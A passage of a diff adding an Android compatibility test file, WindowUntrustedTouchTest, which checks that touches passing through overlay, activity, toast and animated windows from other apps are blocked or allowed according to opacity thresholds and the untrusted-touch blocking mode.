+    private static final String TAG = "WindowUntrustedTouchTest";
+
+    /**
+     * Opacity (or alpha) is represented as a half-precision floating point number (16b) in surface
+     * flinger and the conversion from the single-precision float provided to window manager happens
+     * in Layer::setAlpha() by android::half::ftoh(). So, many small non-zero values provided to
+     * window manager end up becoming zero due to loss of precision (this is fine as long as the
+     * zeros are also used to render the pixels on the screen). So, the minimum opacity possible is
+     * actually the minimum positive value representable in half-precision float, which is
+     * 0_00001_0000000000, whose equivalent in float is 0_01110001_00000000000000000000000.
+     *
+     * Note that from float -> half conversion code we don't produce any subnormal half-precision
+     * floats during conversion.
+     */
+    public static final float MIN_POSITIVE_OPACITY =
+            Float.intBitsToFloat(0b00111000100000000000000000000000);
+
+    private static final float MAXIMUM_OBSCURING_OPACITY = .8f;
+    private static final long TIMEOUT_MS = 3000L;
+    private static final long MAX_ANIMATION_DURATION_MS = 3000L;
+    private static final long ANIMATION_DURATION_TOLERANCE_MS = 500L;
+
+    private static final int OVERLAY_COLOR = 0xFFFF0000;
+    private static final int ACTIVITY_COLOR = 0xFFFFFFFF;
+
+    private static final int FEATURE_MODE_DISABLED = 0;
+    private static final int FEATURE_MODE_PERMISSIVE = 1;
+    private static final int FEATURE_MODE_BLOCK = 2;
+
+    private static final String APP_SELF =
+            WindowUntrustedTouchTest.class.getPackage().getName() + ".cts";
+    private static final String APP_A =
+            android.server.wm.second.Components.class.getPackage().getName();
+    private static final String APP_B =
+            android.server.wm.third.Components.class.getPackage().getName();
+    private static final String WINDOW_1 = "W1";
+    private static final String WINDOW_2 = "W2";
+
+    private static final String[] APPS = {APP_A, APP_B};
+
+    private static final String SETTING_MAXIMUM_OBSCURING_OPACITY =
+            "maximum_obscuring_opacity_for_touch";
+
+    private final WindowManagerStateHelper mWmState = new WindowManagerStateHelper();
+    private final Map<String, FutureConnection<IUntrustedTouchTestService>> mConnections =
+            new ArrayMap<>();
+    private Instrumentation mInstrumentation;
+    private Context mContext;
+    private Resources mResources;
+    private ContentResolver mContentResolver;
+    private TouchHelper mTouchHelper;
+    private Handler mMainHandler;
+    private InputManager mInputManager;
+    private WindowManager mWindowManager;
+    private ActivityManager mActivityManager;
+    private NotificationManager mNotificationManager;
+    private TestActivity mActivity;
+    private View mContainer;
+    private Toast mToast;
+    private float mPreviousTouchOpacity;
+    private int mPreviousMode;
+    private int mPreviousSawAppOp;
+    private final Set<String> mSawWindowsAdded = new ArraySet<>();
+    private final AtomicInteger mTouchesReceived = new AtomicInteger(0);
+
+    @Rule
+    public TestName testNameRule = new TestName();
+
+    @Rule
+    public ActivityTestRule<TestActivity> activityRule = new ActivityTestRule<>(TestActivity.class);
+
+    @Before
+    public void setUp() throws Exception {
+        mActivity = activityRule.getActivity();
+        mContainer = mActivity.view;
+        mContainer.setOnTouchListener(this::onTouchEvent);
+        mInstrumentation = getInstrumentation();
+        mContext = mInstrumentation.getContext();
+        mResources = mContext.getResources();
+        mContentResolver = mContext.getContentResolver();
+        mTouchHelper = new TouchHelper(mInstrumentation, mWmState);
+        mMainHandler = new Handler(Looper.getMainLooper());
+        mInputManager = mContext.getSystemService(InputManager.class);
+        mWindowManager = mContext.getSystemService(WindowManager.class);
+        mActivityManager = mContext.getSystemService(ActivityManager.class);
+        mNotificationManager = mContext.getSystemService(NotificationManager.class);
+
+        mPreviousSawAppOp = AppOpsUtils.getOpMode(APP_SELF, OPSTR_SYSTEM_ALERT_WINDOW);
+        AppOpsUtils.setOpMode(APP_SELF, OPSTR_SYSTEM_ALERT_WINDOW, MODE_ALLOWED);
+        mPreviousTouchOpacity = setMaximumObscuringOpacityForTouch(MAXIMUM_OBSCURING_OPACITY);
+        mPreviousMode = setBlockUntrustedTouchesMode(FEATURE_MODE_BLOCK);
+        SystemUtil.runWithShellPermissionIdentity(
+                () -> mNotificationManager.setToastRateLimitingEnabled(false));
+
+        pressWakeupButton();
+        pressUnlockButton();
+    }
+
+    @After
+    public void tearDown() throws Throwable {
+        mWmState.waitForAppTransitionIdleOnDisplay(Display.DEFAULT_DISPLAY);
+        mTouchesReceived.set(0);
+        removeOverlays();
+        for (FutureConnection<IUntrustedTouchTestService> connection : mConnections.values()) {
+            mContext.unbindService(connection);
+        }
+        mConnections.clear();
+        for (String app : APPS) {
+            stopPackage(app);
+        }
+        SystemUtil.runWithShellPermissionIdentity(
+                () -> mNotificationManager.setToastRateLimitingEnabled(true));
+        setBlockUntrustedTouchesMode(mPreviousMode);
+        setMaximumObscuringOpacityForTouch(mPreviousTouchOpacity);
+        AppOpsUtils.setOpMode(APP_SELF, OPSTR_SYSTEM_ALERT_WINDOW, mPreviousSawAppOp);
+    }
+
+    @Test
+    public void testWhenFeatureInDisabledModeAndActivityWindowAbove_allowsTouch()
+            throws Throwable {
+        setBlockUntrustedTouchesMode(FEATURE_MODE_DISABLED);
+        addActivityOverlay(APP_A, /* opacity */ .9f);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchReceived();
+    }
+
+    @Test
+    public void testWhenFeatureInPermissiveModeAndActivityWindowAbove_allowsTouch()
+            throws Throwable {
+        setBlockUntrustedTouchesMode(FEATURE_MODE_PERMISSIVE);
+        addActivityOverlay(APP_A, /* opacity */ .9f);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchReceived();
+    }
+
+    @Test
+    public void testWhenFeatureInBlockModeAndActivityWindowAbove_blocksTouch()
+            throws Throwable {
+        setBlockUntrustedTouchesMode(FEATURE_MODE_BLOCK);
+        addActivityOverlay(APP_A, /* opacity */ .9f);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchNotReceived();
+    }
+
+    @Test
+    public void testMaximumObscuringOpacity() throws Throwable {
+        // Setting the previous value since we override this on setUp()
+        setMaximumObscuringOpacityForTouch(mPreviousTouchOpacity);
+
+        assertEquals(0.8f, mInputManager.getMaximumObscuringOpacityForTouch());
+    }
+
+    @Test
+    public void testAfterSettingThreshold_returnsThresholdSet()
+            throws Throwable {
+        float threshold = .123f;
+        setMaximumObscuringOpacityForTouch(threshold);
+
+        assertEquals(threshold, mInputManager.getMaximumObscuringOpacityForTouch());
+    }
+
+    @Test
+    public void testAfterSettingFeatureMode_returnsModeSet()
+            throws Throwable {
+        // Make sure the previous mode is different
+        setBlockUntrustedTouchesMode(FEATURE_MODE_BLOCK);
+        assertEquals(FEATURE_MODE_BLOCK, mInputManager.getBlockUntrustedTouchesMode(mContext));
+        setBlockUntrustedTouchesMode(FEATURE_MODE_PERMISSIVE);
+
+        assertEquals(FEATURE_MODE_PERMISSIVE, mInputManager.getBlockUntrustedTouchesMode(mContext));
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testAfterSettingThresholdLessThan0_throws() throws Throwable {
+        setMaximumObscuringOpacityForTouch(-.5f);
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testAfterSettingThresholdGreaterThan1_throws() throws Throwable {
+        setMaximumObscuringOpacityForTouch(1.5f);
+    }
+
+    /** This is testing what happens if setting is overridden manually */
+    @Test
+    public void testAfterSettingThresholdGreaterThan1ViaSettings_previousThresholdIsUsed()
+            throws Throwable {
+        setMaximumObscuringOpacityForTouch(.8f);
+        assertEquals(.8f, mInputManager.getMaximumObscuringOpacityForTouch());
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            Settings.Global.putFloat(mContentResolver, SETTING_MAXIMUM_OBSCURING_OPACITY, 1.5f);
+        });
+        addSawOverlay(APP_A, WINDOW_1, 9.f);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        // Blocks because it's using previous maximum of .8
+        assertTouchNotReceived();
+    }
+
+    /** This is testing what happens if setting is overridden manually */
+    @Test
+    public void testAfterSettingThresholdLessThan0ViaSettings_previousThresholdIsUsed()
+            throws Throwable {
+        setMaximumObscuringOpacityForTouch(.8f);
+        assertEquals(.8f, mInputManager.getMaximumObscuringOpacityForTouch());
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            Settings.Global.putFloat(mContentResolver, SETTING_MAXIMUM_OBSCURING_OPACITY, -.5f);
+        });
+        addSawOverlay(APP_A, WINDOW_1, .7f);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        // Allows because it's using previous maximum of .8
+        assertTouchReceived();
+    }
+
+    /** SAWs */
+
+    @Test
+    public void testWhenOneSawWindowAboveThreshold_blocksTouch() throws Throwable {
+        addSawOverlay(APP_A, WINDOW_1, .9f);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchNotReceived();
+    }
+
+    @Test
+    public void testWhenOneSawWindowBelowThreshold_allowsTouch() throws Throwable {
+        addSawOverlay(APP_A, WINDOW_1, .7f);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchReceived();
+    }
+
+    @Test
+    public void testWhenOneSawWindowWithZeroOpacity_allowsTouch() throws Throwable {
+        addSawOverlay(APP_A, WINDOW_1, 0f);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchReceived();
+    }
+
+    @Test
+    public void testWhenOneSawWindowAtThreshold_allowsTouch() throws Throwable {
+        addSawOverlay(APP_A, WINDOW_1, MAXIMUM_OBSCURING_OPACITY);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchReceived();
+    }
+
+    @Test
+    public void testWhenTwoSawWindowsFromSameAppTogetherBelowThreshold_allowsTouch()
+            throws Throwable {
+        // Resulting opacity = 1 - (1 - 0.5)*(1 - 0.5) = .75
+        addSawOverlay(APP_A, WINDOW_1, .5f);
+        addSawOverlay(APP_A, WINDOW_2, .5f);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchReceived();
+    }
+
+    @Test
+    public void testWhenTwoSawWindowsFromSameAppTogetherAboveThreshold_blocksTouch()
+            throws Throwable {
+        // Resulting opacity = 1 - (1 - 0.7)*(1 - 0.7) = .91
+        addSawOverlay(APP_A, WINDOW_1, .7f);
+        addSawOverlay(APP_A, WINDOW_2, .7f);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchNotReceived();
+    }
+
+    @Test
+    public void testWhenTwoSawWindowsFromDifferentAppsEachBelowThreshold_allowsTouch()
+            throws Throwable {
+        addSawOverlay(APP_A, WINDOW_1, .7f);
+        addSawOverlay(APP_B, WINDOW_2, .7f);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchReceived();
+    }
+
+    @Test
+    public void testWhenOneSawWindowAboveThresholdAndSelfSawWindow_blocksTouch()
+            throws Throwable {
+        addSawOverlay(APP_A, WINDOW_1, .9f);
+        addSawOverlay(APP_SELF, WINDOW_1, .7f);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchNotReceived();
+    }
+
+    @Test
+    public void testWhenOneSawWindowBelowThresholdAndSelfSawWindow_allowsTouch()
+            throws Throwable {
+        addSawOverlay(APP_A, WINDOW_1, .7f);
+        addSawOverlay(APP_SELF, WINDOW_1, .7f);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchReceived();
+    }
+
+    @Test
+    public void testWhenTwoSawWindowsTogetherBelowThresholdAndSelfSawWindow_allowsTouch()
+            throws Throwable {
+        // Resulting opacity for A = 1 - (1 - 0.5)*(1 - 0.5) = .75
+        addSawOverlay(APP_A, WINDOW_1, .5f);
+        addSawOverlay(APP_A, WINDOW_1, .5f);
+        addSawOverlay(APP_SELF, WINDOW_1, .7f);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchReceived();
+    }
+
+    @Test
+    public void testWhenThresholdIs0AndSawWindowAtThreshold_allowsTouch()
+            throws Throwable {
+        setMaximumObscuringOpacityForTouch(0);
+        addSawOverlay(APP_A, WINDOW_1, 0);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchReceived();
+    }
+
+    @Test
+    public void testWhenThresholdIs0AndSawWindowAboveThreshold_blocksTouch()
+            throws Throwable {
+        setMaximumObscuringOpacityForTouch(0);
+        addSawOverlay(APP_A, WINDOW_1, .1f);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchNotReceived();
+    }
+
+    @Test
+    public void testWhenThresholdIs1AndSawWindowAtThreshold_allowsTouch()
+            throws Throwable {
+        setMaximumObscuringOpacityForTouch(1);
+        addSawOverlay(APP_A, WINDOW_1, 1);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchReceived();
+    }
+
+    @Test
+    public void testWhenThresholdIs1AndSawWindowBelowThreshold_allowsTouch()
+            throws Throwable {
+        setMaximumObscuringOpacityForTouch(1);
+        addSawOverlay(APP_A, WINDOW_1, .9f);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchReceived();
+    }
+
+    /** Activity windows */
+
+    @Test
+    public void testWhenOneActivityWindowBelowThreshold_blocksTouch()
+            throws Throwable {
+        addActivityOverlay(APP_A, /* opacity */ .5f);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchNotReceived();
+    }
+
+    @Test
+    public void testWhenOneActivityWindowAboveThreshold_blocksTouch()
+            throws Throwable {
+        addActivityOverlay(APP_A, /* opacity */ .9f);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchNotReceived();
+    }
+
+    @Test
+    public void testWhenOneActivityWindowWithZeroOpacity_allowsTouch()
+            throws Throwable {
+        addActivityOverlay(APP_A, /* opacity */ 0f);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchReceived();
+    }
+
+    @Test
+    public void testWhenOneActivityWindowWithMinPositiveOpacity_blocksTouch()
+            throws Throwable {
+        addActivityOverlay(APP_A, /* opacity */ MIN_POSITIVE_OPACITY);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchNotReceived();
+    }
+
+    @Test
+    public void testWhenOneActivityWindowWithSmallOpacity_blocksTouch()
+            throws Throwable {
+        addActivityOverlay(APP_A, /* opacity */ .01f);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchNotReceived();
+    }
+
+    @Test
+    public void testWhenOneSelfActivityWindow_allowsTouch() throws Throwable {
+        addActivityOverlay(APP_SELF, /* opacity */ .9f);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchReceived();
+    }
+
+    @Test
+    public void testWhenTwoActivityWindowsFromDifferentAppsTogetherBelowThreshold_blocksTouch()
+            throws Throwable {
+        addActivityOverlay(APP_A, /* opacity */ .7f);
+        addActivityOverlay(APP_B, /* opacity */ .7f);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchNotReceived();
+    }
+
+    @Test
+    public void testWhenOneActivityWindowAndOneSawWindowTogetherBelowThreshold_blocksTouch()
+            throws Throwable {
+        addActivityOverlay(APP_A, /* opacity */ .5f);
+        addSawOverlay(APP_A, WINDOW_1, .5f);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchNotReceived();
+    }
+
+    @Test
+    public void testWhenOneActivityWindowAndOneSelfCustomToastWindow_blocksTouch()
+            throws Throwable {
+        // Toast has to be before otherwise it would be blocked from background
+        addToastOverlay(APP_SELF, /* custom */ true);
+        addActivityOverlay(APP_A, /* opacity */ .5f);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchNotReceived();
+    }
+
+    @Test
+    public void testWhenOneActivityWindowAndOneSelfSawWindow_blocksTouch()
+            throws Throwable {
+        addActivityOverlay(APP_A, /* opacity */ .5f);
+        addSawOverlay(APP_SELF, WINDOW_1, .5f);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchNotReceived();
+    }
+
+    @Test
+    public void testWhenOneActivityWindowAndOneSawWindowBelowThreshold_blocksTouch()
+            throws Throwable {
+        addActivityOverlay(APP_A, /* opacity */ .5f);
+        addSawOverlay(APP_A, WINDOW_1, .5f);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchNotReceived();
+    }
+
+    @Test
+    public void testWhenOneActivityWindowAndOneSawWindowBelowThresholdFromDifferentApp_blocksTouch()
+            throws Throwable {
+        addActivityOverlay(APP_A, /* opacity */ .5f);
+        addSawOverlay(APP_B, WINDOW_1, .5f);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchNotReceived();
+    }
+
+    /** Activity-type child windows on same activity */
+
+    @Test
+    public void testWhenActivityChildWindowWithSameTokenFromDifferentApp_allowsTouch()
+            throws Exception {
+        IBinder token = mActivity.getWindow().getAttributes().token;
+        addActivityChildWindow(APP_A, WINDOW_1, token);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchReceived();
+    }
+
+    @Test
+    public void testWhenActivityChildWindowWithDifferentTokenFromDifferentApp_blocksTouch()
+            throws Exception {
+        // Creates a new activity with 0 opacity
+        BlockingResultReceiver receiver = new BlockingResultReceiver();
+        addActivityOverlay(APP_A, /* opacity */ 0f, receiver);
+        // Verify it allows touches
+        mTouchHelper.tapOnViewCenter(mContainer);
+        assertTouchReceived();
+        // Now get its token and put a child window from another app with it
+        IBinder token = receiver.getData(TIMEOUT_MS).getBinder(EXTRA_TOKEN);
+        addActivityChildWindow(APP_B, WINDOW_1, token);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchNotReceived();
+    }
+
+    @Test
+    public void testWhenActivityChildWindowWithDifferentTokenFromSameApp_allowsTouch()
+            throws Exception {
+        // Creates a new activity with 0 opacity
+        BlockingResultReceiver receiver = new BlockingResultReceiver();
+        addActivityOverlay(APP_A, /* opacity */ 0f, receiver);
+        // Now get its token and put a child window owned by us
+        IBinder token = receiver.getData(TIMEOUT_MS).getBinder(EXTRA_TOKEN);
+        addActivityChildWindow(APP_SELF, WINDOW_1, token);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchReceived();
+    }
+
+    /** Activity transitions */
+
+    @Test
+    public void testLongEnterAnimations_areLimited() {
+        long durationSet = mResources.getInteger(R.integer.long_animation_duration);
+        assertThat(durationSet).isGreaterThan(
+                MAX_ANIMATION_DURATION_MS + ANIMATION_DURATION_TOLERANCE_MS);
+        addAnimatedActivityOverlay(APP_A, /* touchable */ false, R.anim.long_alpha_0_7,
+                R.anim.long_alpha_1);
+        assertTrue(mWmState.waitForAppTransitionRunningOnDisplay(Display.DEFAULT_DISPLAY));
+        long start = SystemClock.elapsedRealtime();
+
+        assertTrue(mWmState.waitForAppTransitionIdleOnDisplay(Display.DEFAULT_DISPLAY));
+        long duration = SystemClock.elapsedRealtime() - start;
+        assertThat(duration).isAtMost(MAX_ANIMATION_DURATION_MS + ANIMATION_DURATION_TOLERANCE_MS);
+    }
+
+    @Test
+    public void testLongExitAnimations_areLimited() {
+        long durationSet = mResources.getInteger(R.integer.long_animation_duration);
+        assertThat(durationSet).isGreaterThan(
+                MAX_ANIMATION_DURATION_MS + ANIMATION_DURATION_TOLERANCE_MS);
+        addExitAnimationActivity(APP_A);
+        sendFinishToExitAnimationActivity(APP_A,
+                Components.ExitAnimationActivityReceiver.EXTRA_VALUE_LONG_ANIMATION_0_7);
+        assertTrue(mWmState.waitForAppTransitionRunningOnDisplay(Display.DEFAULT_DISPLAY));
+        long start = SystemClock.elapsedRealtime();
+
+        assertTrue(mWmState.waitForAppTransitionIdleOnDisplay(Display.DEFAULT_DISPLAY));
+        long duration = SystemClock.elapsedRealtime() - start;
+        assertThat(duration).isAtMost(MAX_ANIMATION_DURATION_MS + ANIMATION_DURATION_TOLERANCE_MS);
+    }
+
+    @Test
+    public void testWhenEnterAnimationAboveThresholdAndNewActivityNotTouchable_blocksTouch() {
+        addAnimatedActivityOverlay(APP_A, /* touchable */ false, R.anim.alpha_0_9, R.anim.alpha_1);
+        assertTrue(mWmState.waitForAppTransitionRunningOnDisplay(Display.DEFAULT_DISPLAY));
+
+        mTouchHelper.tapOnViewCenter(mContainer, /* waitAnimations*/ false);
+
+        assertAnimationRunning();
+        assertTouchNotReceived();
+    }
+
+    @Test
+    public void testWhenEnterAnimationBelowThresholdAndNewActivityNotTouchable_allowsTouch() {
+        addAnimatedActivityOverlay(APP_A, /* touchable */ false, R.anim.alpha_0_7, R.anim.alpha_1);
+        assertTrue(mWmState.waitForAppTransitionRunningOnDisplay(Display.DEFAULT_DISPLAY));
+
+        mTouchHelper.tapOnViewCenter(mContainer, /* waitAnimations*/ false);
+
+        assertAnimationRunning();
+        assertTouchReceived();
+    }
+
+    @Test
+    public void testWhenEnterAnimationBelowThresholdAndNewActivityTouchable_blocksTouch() {
+        addAnimatedActivityOverlay(APP_A, /* touchable */ true, R.anim.alpha_0_7, R.anim.alpha_1);
+        assertTrue(mWmState.waitForAppTransitionRunningOnDisplay(Display.DEFAULT_DISPLAY));
+
+        mTouchHelper.tapOnViewCenter(mContainer, /* waitAnimations*/ false);
+
+        assertAnimationRunning();
+        assertTouchNotReceived();
+    }
+
+    @Test
+    public void testWhenExitAnimationBelowThreshold_allowsTouch() {
+        addExitAnimationActivity(APP_A);
+        sendFinishToExitAnimationActivity(APP_A,
+                Components.ExitAnimationActivityReceiver.EXTRA_VALUE_ANIMATION_0_7);
+        assertTrue(mWmState.waitForAppTransitionRunningOnDisplay(Display.DEFAULT_DISPLAY));
+
+        mTouchHelper.tapOnViewCenter(mContainer, /* waitAnimations*/ false);
+
+        assertAnimationRunning();
+        assertTouchReceived();
+    }
+
+    @Test
+    public void testWhenExitAnimationAboveThreshold_blocksTouch() {
+        addExitAnimationActivity(APP_A);
+        sendFinishToExitAnimationActivity(APP_A,
+                Components.ExitAnimationActivityReceiver.EXTRA_VALUE_ANIMATION_0_9);
+        assertTrue(mWmState.waitForAppTransitionRunningOnDisplay(Display.DEFAULT_DISPLAY));
+
+        mTouchHelper.tapOnViewCenter(mContainer, /* waitAnimations*/ false);
+
+        assertAnimationRunning();
+        assertTouchNotReceived();
+    }
+
+    @Test
+    public void testWhenExitAnimationAboveThresholdFromSameUid_allowsTouch() {
+        addExitAnimationActivity(APP_SELF);
+        sendFinishToExitAnimationActivity(APP_SELF,
+                Components.ExitAnimationActivityReceiver.EXTRA_VALUE_ANIMATION_0_9);
+        assertTrue(mWmState.waitForAppTransitionRunningOnDisplay(Display.DEFAULT_DISPLAY));
+
+        mTouchHelper.tapOnViewCenter(mContainer, /* waitAnimations*/ false);
+
+        assertAnimationRunning();
+        assertTouchReceived();
+    }
+
+    /** Toast windows */
+
+    @Test
+    public void testWhenSelfTextToastWindow_allowsTouch() throws Throwable {
+        addToastOverlay(APP_SELF, /* custom */ false);
+        Rect toast = mWmState.waitForResult("toast bounds",
+                state -> state.findFirstWindowWithType(LayoutParams.TYPE_TOAST).getFrame());
+
+        mTouchHelper.tapOnCenter(toast, mActivity.getDisplayId());
+
+        assertTouchReceived();
+    }
+
+    @Test
+    public void testWhenTextToastWindow_allowsTouch() throws Throwable {
+        addToastOverlay(APP_A, /* custom */ false);
+        Rect toast = mWmState.waitForResult("toast bounds",
+                state -> state.findFirstWindowWithType(LayoutParams.TYPE_TOAST).getFrame());
+
+        mTouchHelper.tapOnCenter(toast, mActivity.getDisplayId());
+
+        assertTouchReceived();
+    }
+
+    @Test
+    public void testWhenOneCustomToastWindow_blocksTouch() throws Throwable {
+        addToastOverlay(APP_A, /* custom */ true);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchNotReceived();
+    }
+
+    @Test
+    public void testWhenOneSelfCustomToastWindow_allowsTouch() throws Throwable {
+        addToastOverlay(APP_SELF, /* custom */ true);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchReceived();
+    }
+
+    @Test
+    public void testWhenOneCustomToastWindowAndOneSelfSawWindow_blocksTouch()
+            throws Throwable {
+        addSawOverlay(APP_SELF, WINDOW_1, .9f);
+        addToastOverlay(APP_A, /* custom */ true);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchNotReceived();
+    }
+
+    @Test
+    public void testWhenOneCustomToastWindowAndOneSawWindowBelowThreshold_blocksTouch()
+            throws Throwable {
+        addSawOverlay(APP_A, WINDOW_1, .5f);
+        addToastOverlay(APP_A, /* custom */ true);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchNotReceived();
+    }
+
+    @Test
+    public void testWhenOneCustomToastWindowAndOneSawWindowBelowThresholdFromDifferentApp_blocksTouch()
+            throws Throwable {
+        addSawOverlay(APP_A, WINDOW_1, .5f);
+        addToastOverlay(APP_B, /* custom */ true);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchNotReceived();
+    }
+
+    @Test
+    public void testWhenOneSelfCustomToastWindowOneSelfActivityWindowAndOneSawBelowThreshold_allowsTouch()
+            throws Throwable {
+        addActivityOverlay(APP_SELF, /* opacity */ .9f);
+        addSawOverlay(APP_A, WINDOW_1, .5f);
+        addToastOverlay(APP_SELF, /* custom */ true);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchReceived();
+    }
+
+    private boolean onTouchEvent(View view, MotionEvent event) {
+        if (event.getAction() == MotionEvent.ACTION_DOWN) {
+            mTouchesReceived.incrementAndGet();
+        }
+        return true;
+    }
+
+    private void assertTouchReceived() {
+        mInstrumentation.waitForIdleSync();
+        assertThat(mTouchesReceived.get()).isEqualTo(1);
+        mTouchesReceived.set(0);
+    }
+
+    private void assertTouchNotReceived() {
+        mInstrumentation.waitForIdleSync();
+        assertThat(mTouchesReceived.get()).isEqualTo(0);
+        mTouchesReceived.set(0);
+    }
+
+    private void assertAnimationRunning() {
+        assertThat(mWmState.getDisplay(Display.DEFAULT_DISPLAY).getAppTransitionState()).isEqualTo(
+                WindowManagerStateHelper.APP_STATE_RUNNING);
+    }
+
+    private void addToastOverlay(String packageName, boolean custom) throws Exception {
+        // Making sure there are no toasts currently since we can only check for the presence of
+        // *any* toast afterwards and we don't want to be in a situation where this method returned
+        // because another toast was being displayed.
+        waitForNoToastOverlays();
+        if (custom) {
+            if (packageName.equals(APP_SELF)) {
+                // We add the custom toast here because we already have foreground status due to
+                // the activity rule, so no need to start another activity.
+                addMyCustomToastOverlay();
+            } else {
+                // We have to use an activity that will display the toast then finish itself because
+                // custom toasts cannot be posted from the background.
+                Intent intent = new Intent();
+                intent.setComponent(repackage(packageName, Components.ToastActivity.COMPONENT));
+                mActivity.startActivity(intent);
+            }
+        } else {
+            getService(packageName).showToast();
+        }
+        String message = "Toast from app " + packageName + " did not appear on time";
+        // TODO: WindowStateProto does not have package/UID information from the window, the current
+        //  package test relies on the window name, which is not how toast windows are named. We
+        //  should ideally incorporate that information in WindowStateProto and use here.
+        if (!mWmState.waitFor("toast window", this::hasVisibleToast)) {
+            fail(message);
+        }
+    }
+
+    private boolean hasVisibleToast(WindowManagerState state) {
+        return !state.getMatchingWindowType(LayoutParams.TYPE_TOAST).isEmpty()
+                && state.findFirstWindowWithType(LayoutParams.TYPE_TOAST).isSurfaceShown();
+    }
+
+    private void addMyCustomToastOverlay() {
+        mActivity.runOnUiThread(() -> {
+            mToast = new Toast(mContext);
+            View view = new View(mContext);
+            view.setBackgroundColor(OVERLAY_COLOR);
+            mToast.setView(view);
+            mToast.setGravity(Gravity.FILL, 0, 0);
+            mToast.setDuration(Toast.LENGTH_LONG);
+            mToast.show();
+        });
+        mInstrumentation.waitForIdleSync();
+    }
+
+    private void removeMyCustomToastOverlay() {
+        mActivity.runOnUiThread(() -> {
+            if (mToast != null) {
+                mToast.cancel();
+                mToast = null;
+            }
+        });
+        mInstrumentation.waitForIdleSync();
+    }
+
+    private void waitForNoToastOverlays() {
+        waitForNoToastOverlays("Toast windows did not hide on time");
+    }
+
+    private void waitForNoToastOverlays(String message) {
+        if (!mWmState.waitFor("no toast windows",
+                state -> state.getMatchingWindowType(LayoutParams.TYPE_TOAST).isEmpty())) {
+            fail(message);
+        }
+    }
+
+    private void addExitAnimationActivity(String packageName) {
+        // This activity responds to broadcasts to exit with animations and it's opaque (translucent
+        // activities don't honor custom exit animations).
+        addActivity(repackage(packageName, Components.ExitAnimationActivity.COMPONENT),
+                /* extras */ null, /* options */ null);
+    }
+
+    private void sendFinishToExitAnimationActivity(String packageName, int exitAnimation) {
+        Intent intent = new Intent(Components.ExitAnimationActivityReceiver.ACTION_FINISH);
+        intent.setPackage(packageName);
+        intent.putExtra(Components.ExitAnimationActivityReceiver.EXTRA_ANIMATION, exitAnimation);
+        mContext.sendBroadcast(intent);
+    }
+
+    private void addAnimatedActivityOverlay(String packageName, boolean touchable,
+            @AnimRes int enterAnim, @AnimRes int exitAnim) {
+        ConditionVariable animationsStarted = new ConditionVariable(false);
+        ActivityOptions options = ActivityOptions.makeCustomAnimation(mContext, enterAnim, exitAnim,
+                mMainHandler, animationsStarted::open, /* finishedListener */ null);
+        // We're testing the opacity coming from the animation here, not the one declared in the
+        // activity, so we set its opacity to 1
+        addActivityOverlay(packageName, /* opacity */ 1, touchable, options.toBundle());
+        animationsStarted.block();
+    }
+
+    private void addActivityChildWindow(String packageName, String windowSuffix, IBinder token)
+            throws Exception {
+        String name = getWindowName(packageName, windowSuffix);
+        getService(packageName).showActivityChildWindow(name, token);
+        if (!mWmState.waitFor("activity child window " + name,
+                state -> state.isWindowVisible(name) && state.isWindowSurfaceShown(name))) {
+            fail("Activity child window " + name + " did not appear on time");
+        }
+    }
+
+    private void addActivityOverlay(String packageName, float opacity) {
+        addActivityOverlay(packageName, opacity, /* touchable */ false, /* options */ null);
+    }
+
+    private void addActivityOverlay(String packageName, float opacity, boolean touchable,
+            @Nullable Bundle options) {
+        Bundle extras = new Bundle();
+        extras.putFloat(Components.OverlayActivity.EXTRA_OPACITY, opacity);
+        extras.putBoolean(Components.OverlayActivity.EXTRA_TOUCHABLE, touchable);
